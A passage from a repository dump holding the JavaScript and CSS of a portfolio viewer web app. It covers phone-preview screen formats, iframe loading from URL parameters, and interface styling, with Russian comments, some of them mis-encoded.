*/\nApp.UI.frame.addEventListener('load', () => {\n    if (!App.state.isRealLoad) return;\n    App.state.isRealLoad = false;\n    finishProgress();\n    if (App.state.onFrameLoadCallback) {\n        const cb = App.state.onFrameLoadCallback;\n        App.state.onFrameLoadCallback = null;\n        cb();\n    }\n});\n"
  },
  {
    "path": "legacy_tandem/viewer/app/code/app.viewer.mobile.js",
    "content": "/* ────────────────────────────────────────────────\n   Tandem Portfolio Viewer — Engine v1.0\n   app/code/app.viewer.mobile.js\n   — Phone-режим, форматы устройств, боковые панели\n   ──────────────────────────────────────────────── */\n\nconst PHONE_FORMATS = [\n    {\n        id: 'std', label: 'Стандарт', sub: '390 × 844', w: 390, h: 844, devices: [\n            { b: 'A', c: '#98989d', name: 'iPhone 14', maker: 'Apple' },\n            { b: 'A', c: '#98989d', name: 'iPhone 13 / 13 Pro', maker: 'Apple' },\n            { b: 'A', c: '#98989d', name: 'iPhone 12 / 12 Pro', maker: 'Apple' },\n            { b: 'A', c: '#98989d', name: 'iPhone 16e', maker: 'Apple' },\n        ]\n    },\n    {\n        id: 'compact', label: 'Компакт', sub: '375 × 667', w: 375, h: 667, devices: [\n            { b: 'A', c: '#98989d', name: 'iPhone SE 3 gen', maker: 'Apple' },\n            { b: 'A', c: '#98989d', name: 'iPhone SE 2 gen', maker: 'Apple' },\n            { b: 'A', c: '#98989d', name: 'iPhone 8', maker: 'Apple' },\n            { b: 'A', c: '#98989d', name: 'iPhone 7', maker: 'Apple' },\n        ]\n    },\n    {\n        id: 'pro', label: 'Pro', sub: '393 × 852', w: 393, h: 852, devices: [\n            { b: 'A', c: '#98989d', name: 'iPhone 16', maker: 'Apple' },\n            { b: 'A', c: '#98989d', name: 'iPhone 15 / 15 Pro', maker: 'Apple' },\n            { b: 'A', c: '#98989d', name: 'iPhone 14 Pro', maker: 'Apple' },\n        ]\n    },\n    {\n        id: 'max', label: 'Plus / Max', sub: '428 × 926', w: 428, h: 926, devices: [\n            { b: 'A', c: '#98989d', name: 'iPhone 14 Plus', maker: 'Apple' },\n            { b: 'A', c: '#98989d', name: 'iPhone 13 Pro Max', maker: 'Apple' },\n            { b: 'A', c: '#98989d', name: 'iPhone 12 Pro Max', maker: 'Apple' },\n        ]\n    },\n    {\n        id: 'tall', label: 'Tall', sub: '412 × 915', w: 412, h: 915, devices: [\n            { b: 'G', c: '#4285f4', name: 'Pixel 7 / 8', maker: 'Google' },\n            { b: 'N', c: '#d4d4d4', name: 'Phone 3', maker: 'Nothing' },\n            { b: 'N', c: '#d4d4d4', name: 'Phone 2a', maker: 'Nothing' },\n            { b: 'O', c: '#f5250a', name: 'OnePlus 12 / 13', maker: 'OnePlus' },\n        ]\n    },\n    {\n        id: 'mid', label: 'Android Mid', sub: '360 × 800', w: 360, h: 800, devices: [\n            { b: 'S', c: '#1428a0', name: 'Galaxy S22 / S24', maker: 'Samsung' },\n            { b: 'S', c: '#1428a0', name: 'Galaxy A54 / A55', maker: 'Samsung' },\n            { b: 'X', c: '#ff6900', name: 'Redmi Note 13', maker: 'Xiaomi' },\n            { b: 'O', c: '#f5250a', name: 'Nord CE 3 / 4', maker: 'OnePlus' },\n        ]\n    },\n];\n\n/* ── Переключение phone-режима ── */\nfunction togglePhonePreview() {\n    const enabling = !document.body.classList.contains('phone-preview');\n    App.UI.phoneToggle.classList.toggle('active', enabling);\n    localStorage.setItem('app.viewer.mobileMode', enabling);\n    App.UI.phoneToggle.classList.add('disabled');\n\n    document.body.classList.toggle('phone-preview', enabling);\n    App.UI.frame.style.transition = 'none';\n    enabling ? applyPhoneFormat() : clearFramePhoneStyles();\n    void App.UI.frame.offsetWidth;\n    App.UI.frame.style.transition = '';\n\n    App.UI.loader.classList.remove('hidden');\n    startProgress();\n    App.UI.loaderLabel.textContent = enabling\n        ? 'Переход в режим смартфона...'\n        : 'Выход из режима смартфона...';\n\n    App.state.onFrameLoadCallback = () => App.UI.phoneToggle.classList.remove('disabled');\n    reloadFrame(TANDEM_SITES[App.state.currentIndex].path);\n}\n\n/* ── Применить текущий формат к iframe ── */\nfunction applyPhoneFormat() {\n    const fmt = PHONE_FORMATS.find(f => f.id === App.state.currentFormatId);\n    if (!fmt) return;\n    const scale = calcPhoneScale();\n    const displayW = Math.round(fmt.w * scale);\n    const panelH = getPanelH();\n    App.UI.frame.style.width = fmt.w + 'px';\n    App.UI.frame.style.height = fmt.h + 'px';\n    App.UI.frame.style.transform = `scale(${scale})`;\n    App.UI.frame.style.transformOrigin = 'top left';\n    App.UI.frame.style.left = `calc(50% - ${displayW / 2}px)`;\n    App.UI.frame.style.top = (panelH + 24) + 'px';\n    App.UI.frame.style.bottom = 'auto';\n    positionPanels(displayW);\n}\n\n/* ── Позиционирование боковых панелей ── */\nfunction positionPanels(w) {\n    const fmt = PHONE_FORMATS.find(f => f.id === App.state.currentFormatId);\n    const half = (w ?? (fmt ? fmt.w : 390)) / 2;\n    App.UI.ppLeft.style.right = `calc(50% + ${half + 12}px)`;\n    App.UI.ppRight.style.left = `calc(50% + ${half + 12}px)`;\n}\n\n/* ── Инициализация боковых панелей ── */\nfunction initPhonePanels() {\n    const fmtList = document.getElementById('pp-formats');\n    PHONE_FORMATS.forEach(fmt => {\n        const el = document.createElement('div');\n        el.className = 'pp-fmt' + (fmt.id === App.state.currentFormatId ? ' active' : '');\n        el.dataset.id = fmt.id;\n        el.innerHTML = `<span class=\"pp-fmt-label\">${fmt.label}</span><span class=\"pp-fmt-sub\">${fmt.sub}</span>`;\n        el.addEventListener('click', () => selectFormat(fmt.id));\n        fmtList.appendChild(el);\n    });\n    positionPanels();\n    renderDevices();\n}\n\n/* ── Переключение формата экрана ── */\nfunction selectFormat(id) {\n    App.state.currentFormatId = id;\n    localStorage.setItem('app.viewer.format', id);\n    document.querySelectorAll('.pp-fmt').forEach(el =>\n        el.classList.toggle('active', el.dataset.id === id));\n    applyPhoneFormat();\n    renderDevices();\n}\n\n/* ── Список устройств в правой панели ── */\nfunction renderDevices() {\n    const fmt = PHONE_FORMATS.find(f => f.id === App.state.currentFormatId);\n    const list = document.getElementById('pp-devices');\n    list.innerHTML = '';\n    if (!fmt) return;\n    fmt.devices.forEach(dev => {\n        const el = document.createElement('div');\n        el.className = 'pp-device';\n        el.innerHTML = `\n        <div class=\"pp-device-icon\" style=\"color:${dev.c}\">${dev.b}</div>\n        <div>\n          <div class=\"pp-device-name\">${dev.name}</div>\n          <div class=\"pp-device-maker\">${dev.maker}</div>\n        </div>`;\n        list.appendChild(el);\n    });\n}\n"
  },
  {
    "path": "legacy_tandem/viewer/app/code/no-toolbox-viewer/index.init.js",
    "content": "/* ────────────────────────────────────────────────\n   Tandem Portfolio Viewer — Engine v1.0\n   app/code/no-toolbox-viewer/index.init.js\n   — Точка входа: определяет режим и запускает загрузку\n   ──────────────────────────────────────────────── */\n\nif (projectId !== null) {\n    loadById(parseInt(projectId, 10));\n} else if (projectName && /^[a-zA-Z0-9_-]+$/.test(projectName)) {\n    loadFrame('../works/' + projectName);\n} else {\n    showError();\n}\n"
  },
  {
    "path": "legacy_tandem/viewer/app/code/no-toolbox-viewer/index.loader.js",
    "content": "/* ────────────────────────────────────────────────\n   Tandem Portfolio Viewer — Engine v1.0\n   app/code/no-toolbox-viewer/index.loader.js\n   — Показ ошибки, подстановка iframe, загрузка БД\n   ──────────────────────────────────────────────── */\n\n/** Показать экран ошибки и убрать iframe */\nfunction showError() {\n    document.getElementById('error-screen').classList.add('visible');\n    document.getElementById('project-frame')?.remove();\n}\n\n/** Подставить src в iframe */\nfunction loadFrame(src) {\n    const frame = document.getElementById('project-frame');\n    if (!frame) return;\n    frame.src = src;\n    frame.addEventListener('error', showError, { once: true });\n}\n\n/** Загрузить проект по числовому id — требует index.db.js */\nfunction loadById(id) {\n    if (isNaN(id) || id <= 0) { showError(); return; }\n\n    const script = document.createElement('script');\n    script.src = '../index.db.js';\n    script.onload = () => {\n        if (typeof TANDEM_SITES === 'undefined') { showError(); return; }\n        const site = TANDEM_SITES.find(s => s.id === id) ?? null;\n        if (!site) { showError(); return; }\n        loadFrame('../' + site.path);\n    };\n    script.onerror = showError;\n    document.head.appendChild(script);\n}\n"
  },
  {
    "path": "legacy_tandem/viewer/app/code/no-toolbox-viewer/index.state.js",
    "content": "/* ────────────────────────────────────────────────\n   Tandem Portfolio Viewer — Engine v1.0\n   app/code/no-toolbox-viewer/index.state.js\n   — URL-параметры и ранний редирект\n   ──────────────────────────────────────────────── */\n\nconst params = new URLSearchParams(location.search);\nconst renderMode = params.get('render-mode');\nconst projectId = params.get('project-id');\nconst projectName = (params.get('project-name') ?? '').trim();\n\n/* Если render-mode !== fullscreen — немедленный редирект на главный вьювер */\nif (renderMode !== 'fullscreen') {\n    const redir = new URLSearchParams();\n    if (projectId !== null) redir.set('project-id', projectId);\n    location.replace('../?' + redir.toString());\n}\n"
  },
  {
    "path": "legacy_tandem/viewer/app/styles/default.app-base.css",
    "content": "/* ================================================\n   Tandem Portfolio Viewer — Engine v1.0\n   app/styles/default.app-base.css\n   — Базовый reset, CSS-переменные, html/body\n   ================================================ */\n\n*,\n*::before,\n*::after {\n    box-sizing: border-box;\n    margin: 0;\n    padding: 0;\n    -webkit-tap-highlight-color: transparent;\n}\n\n/* Убираем системные outline при Tab-навигации */\n*:focus {\n    outline: none;\n}\n*:focus-visible {\n    outline: none;\n}\n\n:root {\n    --panel-h: 64px;\n    --accent: #7c6ef5;\n    --accent2: #5b4fd4;\n    --panel-bg: rgba(10, 10, 18, 0.82);\n    --panel-border: rgba(255, 255, 255, 0.08);\n    --text-primary: #ffffff;\n    --text-muted: rgba(255, 255, 255, 0.48);\n    --btn-hover: rgba(124, 110, 245, 0.18);\n    --radius: 10px;\n    --transition: 0.22s cubic-bezier(0.4, 0, 0.2, 1);\n}\n\nhtml,\nbody {\n    height: 100%;\n    overflow: hidden;\n    background: #0b0b14;\n    font-family: \"Inter\", \"Segoe UI\", system-ui, sans-serif;\n    user-select: none;\n    -webkit-user-select: none;\n}\n"
  },
  {
    "path": "legacy_tandem/viewer/app/styles/default.app-modal-dialogs.css",
    "content": "/* ================================================\n   Tandem Portfolio Viewer — Engine v1.0\n   app/styles/default.app-modal-dialogs.css\n   — Mobile action sheet & modal dialogs\n   ================================================ */\n\n/* ─── MOBILE TRIGGER BUTTON IN PANEL ─────────────── */\n\n#mobile-actions-btn {\n    display: none; /* показывается только через media query */\n    align-items: center;\n    justify-content: center;\n    width: 38px;\n    height: 38px;\n    border: 1px solid var(--panel-border);\n    border-radius: var(--radius);\n    background: transparent;\n    color: var(--text-muted);\n    cursor: pointer;\n    transition:\n        background var(--transition),\n        border-color var(--transition),\n        color var(--transition);\n    flex-shrink: 0;\n    margin-left: auto; /* прижимаем вправо, как .panel-actions */\n    padding: 0;\n}\n\n#mobile-actions-btn:hover {\n    background: var(--btn-hover);\n    border-color: var(--accent);\n    color: #c4b9ff;\n}\n\n#mobile-actions-btn svg {\n    width: 15px;\n    height: 15px;\n}\n\n@media (max-width: 680px) {\n    #mobile-actions-btn {\n        display: flex;\n    }\n\n    /* Модал не перекрывает нижнюю панель */\n    #actions-modal {\n        bottom: var(--panel-h);\n        top: 0;\n    }\n}\n\n/* ─── MODAL OVERLAY ──────────────────────────────── */\n\n#actions-modal {\n    position: fixed;\n    inset: 0;\n    z-index: 2000;\n    display: flex;\n    align-items: flex-end;\n    /* opacity здесь не используем — backdrop-filter плохо анимируется через родительский слой */\n    pointer-events: none;\n}\n\n#actions-modal.open {\n    pointer-events: auto;\n}\n\n/* Затемнённый фон — анимируется самостоятельно, чтобы блюр не ждал создания GPU-слоя */\n.am-backdrop {\n    position: absolute;\n    inset: 0;\n    background: rgba(0, 0, 0, 0.62);\n    backdrop-filter: blur(6px);\n    -webkit-backdrop-filter: blur(6px);\n    opacity: 0;\n    transition: opacity 0.24s ease;\n}\n\n#actions-modal.open .am-backdrop {\n    opacity: 1;\n}\n\n/* ─── BOTTOM SHEET ───────────────────────────────── */\n\n.am-sheet {\n    position: relative;\n    width: 100%;\n    background: #13131f;\n    border-top: 1px solid rgba(124, 110, 245, 0.25);\n    border-left: 1px solid rgba(255, 255, 255, 0.06);\n    border-right: 1px solid rgba(255, 255, 255, 0.06);\n    border-radius: 20px 20px 0 0;\n    padding-bottom: env(safe-area-inset-bottom, 0px);\n    box-shadow:\n        0 -16px 56px rgba(0, 0, 0, 0.7),\n        0 -1px 0 rgba(124, 110, 245, 0.12);\n    transform: translateY(100%);\n    transition: transform 0.32s cubic-bezier(0.32, 0.72, 0, 1);\n}\n\n#actions-modal.open .am-sheet {\n    transform: translateY(0);\n}\n\n/* Полоска-ручка для свайпа */\n.am-drag-handle {\n    width: 36px;\n    height: 4px;\n    background: rgba(255, 255, 255, 0.14);\n    border-radius: 99px;\n    margin: 12px auto 0;\n}\n\n/* ─── HEADER ─────────────────────────────────────── */\n\n.am-header {\n    display: flex;\n    flex-direction: column;\n    gap: 4px;\n    padding: 14px 20px 14px;\n    border-bottom: 1px solid rgba(255, 255, 255, 0.06);\n}\n\n.am-title {\n    font-size: 10px;\n    font-weight: 700;\n    letter-spacing: 0.12em;\n    text-transform: uppercase;\n    color: var(--text-muted);\n}\n\n.am-site-name {\n    font-size: 16px;\n    font-weight: 700;\n    color: var(--text-primary);\n    letter-spacing: -0.02em;\n    line-height: 1.3;\n    overflow: hidden;\n    display: -webkit-box;\n    -webkit-line-clamp: 2;\n    -webkit-box-orient: vertical;\n}\n\n/* ─── BODY ───────────────────────────────────────── */\n\n.am-body {\n    padding: 8px 0 14px;\n}\n\n/* ─── ACTION ROW ─────────────────────────────────── */\n\n.am-action {\n    display: flex;\n    align-items: center;\n    gap: 14px;\n    padding: 12px 20px;\n    cursor: pointer;\n    transition: background var(--transition);\n    text-decoration: none;\n    color: inherit;\n    width: 100%;\n    background: transparent;\n    border: none;\n    font-family: inherit;\n    font-size: inherit;\n    text-align: left;\n}\n\n.am-action:not(.am-action--disabled):hover,\n.am-action:not(.am-action--disabled):active {\n    background: rgba(124, 110, 245, 0.1);\n}\n\n.am-action--disabled {\n    cursor: default;\n    opacity: 0.42;\n}\n\n/* Иконка */\n.am-action-icon {\n    width: 42px;\n    height: 42px;\n    border-radius: 12px;\n    background: rgba(255, 255, 255, 0.05);\n    border: 1px solid rgba(255, 255, 255, 0.08);\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    flex-shrink: 0;\n    color: var(--text-muted);\n    transition:\n        background var(--transition),\n        border-color var(--transition),\n        color var(--transition);\n}\n\n.am-action:not(.am-action--disabled):hover .am-action-icon,\n.am-action:not(.am-action--disabled):active .am-action-icon {\n    background: rgba(124, 110, 245, 0.15);\n    border-color: rgba(124, 110, 245, 0.35);\n    color: #c4b9ff;\n}\n\n.am-action-icon svg {\n    width: 18px;\n    height: 18px;\n}\n\n/* Текст */\n.am-action-text {\n    display: flex;\n    flex-direction: column;\n    gap: 3px;\n    flex: 1;\n    min-width: 0;\n}\n\n.am-action-label {\n    font-size: 15px;\n    font-weight: 600;\n    color: var(--text-primary);\n    line-height: 1.2;\n}\n\n.am-action-sub {\n    font-size: 12px;\n    color: var(--text-muted);\n    line-height: 1.45;\n    white-space: normal;\n}\n\n/* Стрелка-шеврон справа */\n.am-action-arrow {\n    width: 14px;\n    height: 14px;\n    flex-shrink: 0;\n    color: var(--text-muted);\n    opacity: 0.45;\n}\n\n/* ─── SEPARATOR ──────────────────────────────────── */\n\n.am-sep {\n    height: 1px;\n    background: rgba(255, 255, 255, 0.06);\n    margin: 6px 20px;\n}\n\n/* ─── COPY BUTTON STATES ─────────────────────────── */\n\n#am-copy-btn .am-icon-copy {\n    display: block;\n}\n#am-copy-btn .am-icon-check {\n    display: none;\n}\n\n#am-copy-btn.copied .am-icon-copy {\n    display: none;\n}\n#am-copy-btn.copied .am-icon-check {\n    display: block;\n}\n\n#am-copy-btn.copied .am-action-icon {\n    background: rgba(74, 222, 128, 0.12);\n    border-color: rgba(74, 222, 128, 0.35);\n    color: #4ade80;\n}\n\n#am-copy-btn.copied .am-action-label {\n    color: #4ade80;\n}\n"
  },
  {
    "path": "legacy_tandem/viewer/app/styles/default.app-viewer-mobile.css",
    "content": "﻿/* ================================================\n   Tandem Portfolio Viewer — Engine v1.0\n   app/styles/default.app-viewer-mobile.css\n   — Phone preview: backdrop, side panels, mobile iframe\n   ================================================ */\n\n/* ─── PHONE PREVIEW ───────────────────────────────────── */\n\n#phone-backdrop {\n    display: none;\n    position: fixed;\n    inset: var(--panel-h) 0 0 0;\n    z-index: 49;\n    animation: fadeIn 0.35s ease;\n    /* РђР±СЃС‚СЂР°РєС‚РЅС‹Р№ С„РѕРЅ */\n    background-color: #08080f;\n    background-image:\n    /* Р¤РёРѕР»РµС‚РѕРІРѕРµ СЃРёСЏРЅРёРµ СЃР»РµРІР° */\n        radial-gradient(ellipse 55% 50% at 15% 60%, rgba(100, 60, 255, 0.18) 0%, transparent 70%),\n        /* Р“РѕР»СѓР±РѕРµ СЃРёСЏРЅРёРµ СЃРїСЂР°РІР° */ radial-gradient(ellipse 45% 40% at 85% 30%, rgba(40, 80, 200, 0.16) 0%, transparent 65%),\n        /* РњСЏРіРєРѕРµ СЃРёСЏРЅРёРµ С†РµРЅС‚СЂ */ radial-gradient(ellipse 60% 60% at 50% 50%, rgba(60, 40, 120, 0.14) 0%, transparent 70%),\n        /* РўРѕРЅРєР°СЏ СЃРµС‚РєР° */ repeating-linear-gradient(0deg, transparent, transparent 39px, rgba(255, 255, 255, 0.018) 39px, rgba(255, 255, 255, 0.018) 40px),\n        repeating-linear-gradient(90deg, transparent, transparent 39px, rgba(255, 255, 255, 0.018) 39px, rgba(255, 255, 255, 0.018) 40px);\n}\n\n/* РўРµР»РµС„РѕРЅРЅР°СЏ СЂР°РјРєР° РІ HTML СЃРєСЂС‹С‚Р°, РѕРЅР° Р±РѕР»СЊС€Рµ РЅРµ РёСЃРїРѕР»СЊР·СѓРµС‚СЃСЏ */\n#phone-shell {\n    display: none !important;\n}\n\n@keyframes fadeIn {\n    from {\n        opacity: 0;\n    }\n    to {\n        opacity: 1;\n    }\n}\n\n@keyframes phoneIn {\n    from {\n        opacity: 0;\n        transform: translateX(-50%) scale(0.96);\n    }\n    to {\n        opacity: 1;\n        transform: translateX(-50%) scale(1);\n    }\n}\n\n@keyframes bgShift {\n    0% {\n        background-position:\n            0% 50%,\n            100% 0%,\n            50% 50%,\n            0 0,\n            0 0;\n    }\n    50% {\n        background-position:\n            30% 80%,\n            70% 40%,\n            50% 50%,\n            0 0,\n            0 0;\n    }\n    100% {\n        background-position:\n            0% 50%,\n            100% 0%,\n            50% 50%,\n            0 0,\n            0 0;\n    }\n}\n\nbody.phone-preview #phone-backdrop {\n    display: block;\n    animation:\n        fadeIn 0.35s ease,\n        bgShift 14s ease-in-out infinite;\n    background-size:\n        160% 160%,\n        160% 160%,\n        200% 200%,\n        auto,\n        auto;\n}\n\n/* в”Ђв”Ђв”Ђ PHONE PREVIEW SIDE PANELS в”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђв”Ђ */\n\n#pp-left,\n#pp-right {\n    position: fixed;\n    top: calc(var(--panel-h) + 24px);\n    width: 160px;\n    max-height: calc(100vh - var(--panel-h) - 48px);\n    overflow-y: auto;\n    overflow-x: hidden;\n    z-index: 52;\n    cursor: default;\n    user-select: none;\n    -webkit-user-select: none;\n    background: rgba(10, 10, 20, 0.84);\n    backdrop-filter: blur(24px) saturate(160%);\n    -webkit-backdrop-filter: blur(24px) saturate(160%);\n    border: 1px solid rgba(255, 255, 255, 0.07);\n    border-radius: 14px;\n    padding: 4px;\n    box-shadow:\n        0 8px 32px rgba(0, 0, 0, 0.65),\n        0 0 0 1px rgba(124, 110, 245, 0.07);\n    scrollbar-width: none;\n    /* РЎРєСЂС‹С‚С‹ РїРѕ СѓРјРѕР»С‡Р°РЅРёСЋ */\n    opacity: 0;\n    pointer-events: none;\n    transform: translateY(8px);\n    /* РџРѕР·РёС†РёСЏ Р°РЅРёРјРёСЂСѓРµС‚СЃСЏ РІСЃРµРіРґР°, РїРѕСЏРІР»РµРЅРёРµ вЂ” СЃ Р·Р°РґРµСЂР¶РєРѕР№ */\n    transition:\n        opacity 0.26s ease 0s,\n        transform 0.26s ease 0s,\n        left 0.38s cubic-bezier(0.4, 0, 0.2, 1) 0s,\n        right 0.38s cubic-bezier(0.4, 0, 0.2, 1) 0s;\n}\n#pp-left::-webkit-scrollbar,\n#pp-right::-webkit-scrollbar {\n    display: none;\n}\n\nbody.phone-preview #pp-left,\nbody.phone-preview #pp-right {\n    opacity: 1;\n    pointer-events: auto;\n    transform: translateY(0);\n    /* РџРѕСЏРІР»РµРЅРёРµ РїРѕСЃР»Рµ Р°РЅРёРјР°С†РёРё iframe */\n    transition:\n        opacity 0.26s ease 0.35s,\n        transform 0.26s ease 0.35s,\n        left 0.38s cubic-bezier(0.4, 0, 0.2, 1) 0s,\n        right 0.38s cubic-bezier(0.4, 0, 0.2, 1) 0s;\n}\n\n.pp-header {\n    font-size: 9.5px;\n    font-weight: 700;\n    letter-spacing: 0.1em;\n    text-transform: uppercase;\n    color: var(--text-muted);\n    padding: 9px 10px 5px;\n}\n\n.pp-sep {\n    height: 1px;\n    background: rgba(255, 255, 255, 0.06);\n    margin: 0 6px 4px;\n}\n\n/* Р¤РѕСЂРјР°С‚ РєРЅРѕРїРєРё (РїСЂР°РІР°СЏ РїР°РЅРµР»СЊ) */\n.pp-fmt {\n    display: flex;\n    flex-direction: column;\n    padding: 7px 10px;\n    border-radius: 9px;\n    cursor: pointer;\n    transition: background var(--transition);\n    user-select: none;\n    gap: 2px;\n}\n\n.pp-fmt:hover {\n    background: rgba(124, 110, 245, 0.1);\n}\n\n.pp-fmt.active {\n    background: rgba(124, 110, 245, 0.18);\n    box-shadow: inset 0 0 0 1px rgba(124, 110, 245, 0.3);\n}\n\n.pp-fmt.active .pp-fmt-label {\n    color: #c4b9ff;\n}\n\n.pp-fmt-label {\n    font-size: 12px;\n    font-weight: 600;\n    color: var(--text-primary);\n    line-height: 1.2;\n}\n\n.pp-fmt-sub {\n    font-size: 10px;\n    color: var(--text-muted);\n    font-variant-numeric: tabular-nums;\n}\n\n/* РЈСЃС‚СЂРѕР№СЃС‚РІР° (Р»РµРІР°СЏ РїР°РЅРµР»СЊ) */\n.pp-device {\n    display: flex;\n    align-items: flex-start;\n    gap: 8px;\n    padding: 6px 8px;\n    border-radius: 9px;\n}\n\n.pp-device-icon {\n    width: 24px;\n    height: 24px;\n    border-radius: 7px;\n    background: rgba(255, 255, 255, 0.05);\n    border: 1px solid rgba(255, 255, 255, 0.09);\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    font-size: 10px;\n    font-weight: 800;\n    flex-shrink: 0;\n    margin-top: 1px;\n}\n\n.pp-device-name {\n    font-size: 11px;\n    font-weight: 600;\n    color: var(--text-primary);\n    line-height: 1.3;\n}\n\n.pp-device-maker {\n    font-size: 9.5px;\n    color: var(--text-muted);\n    margin-top: 1px;\n}\n\n.pp-sep--mt {\n    margin-top: 6px;\n}\n\n.pp-exit-btn {\n    display: flex;\n    align-items: center;\n    gap: 7px;\n    width: calc(100% - 8px);\n    margin: 2px 4px 6px;\n    padding: 7px 10px;\n    border-radius: 9px;\n    background: transparent;\n    border: none;\n    color: var(--text-muted);\n    font-family: inherit;\n    font-size: 11.5px;\n    font-weight: 500;\n    cursor: pointer;\n    transition:\n        background var(--transition),\n        color var(--transition);\n    user-select: none;\n    -webkit-user-select: none;\n}\n\n.pp-exit-btn svg {\n    width: 14px;\n    height: 14px;\n    flex-shrink: 0;\n    opacity: 0.7;\n    transition: opacity var(--transition);\n}\n\n.pp-exit-btn:hover {\n    background: rgba(255, 80, 80, 0.1);\n    color: #ff8080;\n}\n\n.pp-exit-btn:hover svg {\n    opacity: 1;\n}\n\n/* РџСЂРё РјР°Р»С‹С… СЌРєСЂР°РЅР°С… РїР°РЅРµР»Рё СЃРєСЂС‹РІР°СЋС‚СЃСЏ */\n@media (max-width: 1120px) {\n    #pp-left,\n    #pp-right {\n        display: none !important;\n    }\n}\n\n/* iframe РІ СЂРµР¶РёРјРµ С‚РµР»РµС„РѕРЅР°:\n   width/height/left/top/transform СѓРїСЂР°РІР»СЏСЋС‚СЃСЏ С‡РµСЂРµР· JS вЂ” Р·РґРµСЃСЊ С‚РѕР»СЊРєРѕ РІРёР·СѓР°Р» */\nbody.phone-preview #viewer-frame {\n    border-radius: 20px;\n    box-shadow:\n    /* Р¤РёРѕР»РµС‚РѕРІРѕРµ СЃРІРµС‡РµРЅРёРµ */\n        0 0 0 1px rgba(124, 110, 245, 0.45),\n        0 0 0 3px rgba(124, 110, 245, 0.12),\n        0 0 40px -4px rgba(124, 110, 245, 0.5),\n        /* Р“Р»СѓР±РѕРєР°СЏ С‚РµРЅСЊ */ 0 32px 80px rgba(0, 0, 0, 0.85),\n        0 8px 24px rgba(0, 0, 0, 0.6);\n    z-index: 51;\n    overflow: hidden;\n}\n\n/* РљРЅРѕРїРєР° Р°РєС‚РёРІРЅР° */\n#phone-toggle.active {\n    background: rgba(124, 110, 245, 0.2);\n    border-color: var(--accent);\n    color: #c4b9ff;\n}\n\n/* РўРѕР»СЊРєРѕ РЅР° РґРµСЃРєС‚РѕРїРµ */\n@media (max-width: 900px) {\n    #phone-toggle,\n    .actions-divider {\n        display: none;\n    }\n}\n\n\n"
  },
  {
    "path": "legacy_tandem/viewer/app/styles/default.app-viewer-no-toolbox.css",
    "content": "﻿/* ================================================\n   Tandem Portfolio Viewer — Engine v1.0\n   app/styles/default.app-viewer-no-toolbox.css\n   — no-toolbox-viewer loader page (error screen)\n   ================================================ */\n\n/* ─── no-toolbox-viewer — Loader page ───────────────── */\n\n#project-frame {\n    display: block;\n    width: 100%;\n    height: 100%;\n    border: none;\n    position: fixed;\n    inset: 0;\n}\n\n#error-screen {\n    display: none;\n    position: fixed;\n    inset: 0;\n    background-color: #08080f;\n    background-image: radial-gradient(ellipse 55% 50% at 15% 60%, rgba(100, 60, 255, 0.18) 0%, transparent 70%), radial-gradient(ellipse 45% 40% at 85% 30%, rgba(40, 80, 200, 0.16) 0%, transparent 65%), radial-gradient(ellipse 60% 60% at 50% 50%, rgba(60, 40, 120, 0.14) 0%, transparent 70%), repeating-linear-gradient(0deg, transparent, transparent 39px, rgba(255, 255, 255, 0.018) 39px, rgba(255, 255, 255, 0.018) 40px), repeating-linear-gradient(90deg, transparent, transparent 39px, rgba(255, 255, 255, 0.018) 39px, rgba(255, 255, 255, 0.018) 40px);\n    color: #e8e8f0;\n    font-family: \"Inter\", system-ui, sans-serif;\n    flex-direction: column;\n    align-items: center;\n    justify-content: center;\n    gap: 1.25rem;\n    text-align: center;\n    padding: 2rem;\n}\n\n#error-screen.visible {\n    display: flex;\n}\n\n.err-logo {\n    width: 120px;\n    height: 120px;\n    object-fit: contain;\n    opacity: 0.55;\n    margin-bottom: 0.25rem;\n}\n\n#error-screen h1 {\n    font-size: clamp(1.1rem, 3.5vw, 1.5rem);\n    font-weight: 700;\n    letter-spacing: -0.02em;\n    color: #e8e8f0;\n}\n\n#error-screen p {\n    font-size: clamp(0.8rem, 2vw, 0.95rem);\n    color: #6b6b85;\n    line-height: 1.6;\n    max-width: 380px;\n}\n\n.err-badge {\n    display: inline-flex;\n    align-items: center;\n    gap: 0.4rem;\n    background: rgba(255, 255, 255, 0.05);\n    border: 1px solid rgba(255, 255, 255, 0.09);\n    border-radius: 8px;\n    padding: 0.55rem 1rem;\n    font-size: 0.8rem;\n    color: #6b6b85;\n}\n\n.err-badge code {\n    font-family: \"Inter\", monospace;\n    color: #a78bfa;\n    background: rgba(167, 139, 250, 0.1);\n    padding: 0.15rem 0.45rem;\n    border-radius: 4px;\n    font-size: 0.78rem;\n}\n\n.err-divider {\n    width: 40px;\n    height: 1px;\n    background: rgba(255, 255, 255, 0.08);\n}\n\n.err-footer {\n    font-size: 0.72rem;\n    color: #3d3d52;\n    margin-top: 0.25rem;\n}\n"
  },
  {
    "path": "legacy_tandem/viewer/app/styles/default.app-viewer.css",
    "content": "﻿/* ================================================\n   Tandem Portfolio Viewer — Engine v1.0\n   app/styles/default.app-viewer.css\n   — Top panel, dropdown, actions, tooltip; viewer iframe, loader, animations, responsive\n   ================================================ */\n\n/* ─── TOP PANEL ──────────────────────────────────────── */\n\n#panel {\n    position: fixed;\n    top: 0;\n    left: 0;\n    right: 0;\n    z-index: 999;\n    height: var(--panel-h);\n    display: flex;\n    align-items: center;\n    gap: 12px;\n    padding: 0 20px;\n    background: var(--panel-bg);\n    backdrop-filter: blur(20px) saturate(180%);\n    -webkit-backdrop-filter: blur(20px) saturate(180%);\n    box-shadow:\n        0 1px 0 0 rgba(255, 255, 255, 0.04),\n        0 6px 32px rgba(0, 0, 0, 0.5),\n        0 12px 48px rgba(0, 0, 0, 0.28);\n    cursor: default;\n    user-select: none;\n    -webkit-user-select: none;\n}\n\n#panel::after {\n    content: \"\";\n    position: absolute;\n    bottom: -2px;\n    left: 0;\n    right: 0;\n    height: 2px;\n    background: linear-gradient(90deg, transparent 0%, rgba(124, 110, 245, 0.15) 8%, rgba(124, 110, 245, 0.55) 30%, rgba(124, 110, 245, 0.75) 50%, rgba(124, 110, 245, 0.55) 70%, rgba(124, 110, 245, 0.15) 92%, transparent 100%);\n    pointer-events: none;\n    z-index: 1000;\n}\n\n/* ── Panel entrance animation ── */\n:root {\n    --panel-enter-y: -10px;\n}\n\n@keyframes panel-entry {\n    from {\n        opacity: 0;\n        transform: 